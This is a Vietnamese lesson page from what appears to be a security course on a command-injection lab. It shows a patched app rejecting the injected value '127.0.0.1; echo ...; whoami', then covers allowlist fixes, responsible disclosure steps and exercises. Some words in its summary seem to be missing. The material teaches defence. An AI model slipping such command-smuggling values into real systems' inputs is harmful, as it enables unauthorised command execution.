python3 vuln_app_fixed.pypy vuln_app_fixed.pypython3 vuln_app_fixed.pyỞ Terminal B, chạy lại đúng lệnh PoC đã dùng ở bước 4, không sửa gì (hai máy thật: vẫn dùng IP của Máy A, thêm lại --lan khi chạy app ở Máy A):
python3 exploit_poc.py 127.0.0.1py exploit_poc.py 127.0.0.1python3 exploit_poc.py 127.0.0.11) Dung dung (du doan): gui PING binh thuong
...
2) KHAI THAC: gan them lenh 'whoami' sau dau ';' trong tham so dia chi
Du lieu gui di: PING 127.0.0.1; echo ---LENH-THU-HAI-DA-CHAY---; whoami
TU CHOI: '127.0.0.1; echo ---LENH-THU-HAI-DA-CHAY---; whoami' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.
>>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.
>>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.Cách sửa hay gặp, không chỉ riêng bài này
| Cách sửa | Ý tưởng | Dùng khi |
|---|---|---|
| Chỉ nhận dữ liệu đúng khuôn mẫu đã định (ví dụ: đúng IPv4) | Biết chính xác dữ liệu hợp lệ trông như thế nào | |
| Không dùng shell=True với chuỗi ghép | Gọi lệnh bằng danh sách tham số, hệ điều hành không "dựng lại câu lệnh" | Luôn luôn, khi còn phải gọi lệnh hệ thống |
| Nguyên tắc đặc quyền tối thiểu | Chạy dịch vụ với quyền thấp nhất đủ dùng | Hạn chế thiệt hại nếu vẫn còn lỗi khác chưa biết |
| Cập nhật thư viện và hệ thống | Nhiều lỗi injection từng được vá ở phiên bản mới hơn | Luôn luôn |
Đọc thêm: vì sao allowlist tốt hơn "chặn ký tự xấu" (blocklist)? (không bắt buộc)
Một cách sửa sai phổ biến là chỉ chặn riêng dấu ;. Nhìn lại bảng ở bước 2: còn &&, |, $(), dấu cách, dấu nháy… Chặn từng ký tự một dễ bỏ sót. đảo ngược cách nghĩ: không hỏi "ký tự nào xấu", mà hỏi "dữ liệu hợp lệ trông như thế nào", rồi từ chối mọi thứ không khớp — kể cả ký tự người viết chưa từng nghĩ tới.
BÀI TẬP 2 · 10 PHÚT
Chọn cách sửa cho ba tình huống
Với mỗi tính năng, cách sửa nào trong bảng trên phù hợp nhất?
- Ô tìm kiếm chỉ nên nhận số điện thoại Việt Nam.
- Dịch vụ cần gọi
ffmpeg(xử lý video) với tên file do người dùng đặt. - Một API nội bộ, chỉ 3 đồng nghiệp trong nhóm được gọi.
Xem đáp án
- Allowlist theo khuôn mẫu số điện thoại (ví dụ đúng 10 số, bắt đầu bằng 0).
- Gọi ffmpeg bằng danh sách tham số (không ghép chuỗi), và allowlist tên file (chỉ chữ, số, gạch dưới, đúng phần mở rộng cho phép).
- Nguyên tắc đặc quyền tối thiểu: xác thực đúng 3 người, không mở API ra ngoài phạm vi cần.
Bước 6 · Tìm ra lỗ hổng rồi, việc tiếp theo là gì?
10 phútNối với bài 2 (ai có quyền quản trị) và bài 4 (ứng phó sự cố): tìm ra lỗ hổng không phải là kết thúc, mà là lúc cần làm đúng quy trình, không phải "khoe" hay làm thêm.
- Dừng lại ngay khi đủ bằng chứng. Bài 4 đã có bằng chứng (
whoamichạy được); không cần thử lệnh nguy hiểm hơn để "chắc chắn hơn nữa". - Không công khai payload khi lỗi chưa được vá. Chia sẻ công khai lúc này giúp kẻ xấu trước khi giúp người sửa.
- Báo cho người quản lý ứng dụng, kèm: mô tả lỗi, cách chứng minh (PoC) từng bước, mức ảnh hưởng nếu bị lợi dụng, và đề xuất cách sửa.
- Vá, rồi chạy lại đúng PoC cũ để xác nhận đã chặn được (như bước 5), không chỉ tin lời "đã sửa rồi".
- Ghi log: thời điểm phát hiện, ai biết, hành động đã làm — như quy trình ứng phó sự cố ở bài 4.
BÀI TẬP 3 · 8 PHÚT
Viết lại một tình huống báo lỗi cho đúng
Một bạn học tìm ra lỗi tương tự trên trang web câu lạc bộ, liền đăng ngay lên nhóm Facebook công khai: "Web câu lạc bộ có lỗi, ai cũng gửi được lệnh vào, đây là cách làm: …" kèm địa chỉ trang thật.
- Việc này sai ở đâu?
- Nên làm gì thay vào đó, theo đúng năm bước trên?
Xem đáp án
- Công khai payload và địa chỉ thật trước khi vá: bất kỳ ai đọc được bài đăng cũng có thể khai thác ngay, kể cả người không có ý định học.
- Dừng lại khi đã có bằng chứng, báo riêng cho người quản trị website kèm mô tả và cách chứng minh, chờ vá xong rồi mới có thể chia sẻ (nếu cần) ở mức không còn khai thác được.
BÀI TẬP 4 · Về nhà, 20 PHÚT
Viết báo cáo lỗ hổng ngắn cho bài lab này
Dựa trên vuln_app.py đã làm ở bước 3–4, viết một báo cáo ngắn gồm:
- Mô tả lỗi: tên lỗi, nằm ở đâu trong code (trích đúng 2 dòng).
- Bằng chứng (PoC): payload đã dùng, kết quả quan sát được.
- Mức ảnh hưởng: nếu đây là thiết bị thật trong nhà, hậu quả tệ nhất có thể là gì?
- Cách sửa: dựa vào bước 5, nêu đúng 2 thay đổi cần làm.
Không cần nộp file JSON hay log thật của người khác; đây chỉ là bài tập viết trên chính lab bạn tự chạy.
Xem đáp án
Không có đáp án duy nhất. Báo cáo tốt: trích đúng dòng code gây lỗi, payload và kết quả khớp với PoC đã chạy thật, mức ảnh hưởng nêu được ít nhất một việc cụ thể kẻ xấu có thể làm (đọc, xoá, cài thêm phần mềm), và cách sửa đúng là "allowlist + không dùng shell=True với chuỗi ghép", không chỉ "chặn dấu ;".
Tóm tắt
- mở chỉ cho biết có chương trình lắng nghe; an toàn hay không phụ thuộc cách chương trình đó xử lý dữ liệu gửi tới, không phụ thuộc việc cổng mở hay đóng.
- xảy ra khi dữ liệu người dùng được ghép thẳng vào một câu lệnh mà không kiểm tra. Dấu
;,&&,|,$()đều có nghĩa đặc biệt với shell. - vô hại (như
whoami) đủ để chứng minh một lỗ hổng tồn tại; không cần làm gì gây hại hơn để "chắc chắn hơn". - Cách sửa đúng là (chỉ nhận dữ liệu đúng khuôn mẫu) kết hợp gọi lệnh bằng danh sách tham số, không ghép chuỗi vào
shell=True. Chặn riêng từng ký tự xấu dễ bỏ sót. - Tìm ra lỗ hổng thì dừng lại khi đã đủ bằng chứng, báo đúng người kèm PoC và cách sửa, rồi xác nhận lại sau khi vá — không khai thác thêm, không công khai trước khi vá.
- Chỉ cài và thử nghiệm những kỹ thuật trong bài trên máy và mạng của chính mình, hoặc nơi được cho phép rõ ràng.
Tự kiểm tra · 5 câu có giải thích +
Ghi chú cá nhân +
Tự lưu trên trình duyệt. Không nhập thông tin bí mật.